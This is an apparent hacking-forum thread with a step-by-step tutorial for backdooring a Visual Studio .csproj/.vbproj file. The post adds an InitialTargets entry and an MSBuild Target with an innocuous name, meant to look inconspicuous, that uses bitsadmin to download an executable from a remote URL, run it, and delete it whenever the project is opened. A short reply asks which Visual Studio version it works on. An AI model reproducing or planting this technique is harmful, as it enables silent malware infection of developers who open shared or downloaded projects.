![]() |
Step 1: Create a new project in visual studio Step 2: Find the .vbproj/.csproj file and edit it Step 3: On the second line, it should have something similar to this Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 34px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;"><Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"></pre> Edit this like to include Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 34px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">InitialTargets="Build"</pre> The name can be whatever you want, I just thought "build" would be inconspicuous The final product will look like: Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 34px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;"><Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"></pre> Step 4: Add this to the end of the file, but before the closing "</project>" tag Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 210px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;"><Target Name="Buislfd"> <Exec Command="bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" > <Output TaskParameter="ExitCode" PropertyName="ErrorCode" /> </Exec> <Exec Command="%temp%\1.exe" > <Output TaskParameter="ExitCode" PropertyName="ErrorCode" /> </Exec> <Exec Command="del %temp%\1.exe" > <Output TaskParameter="ExitCode" PropertyName="ErrorCode" /> </Exec> <Message Importance="high" Text="$(ErrorCode)" /> </Target></pre> And save the file Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file |
VisualStudio what ver? 2016 pro not work </br> |
|
Quote:
|
All times are GMT. The time now is 12:33 AM. |
Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc.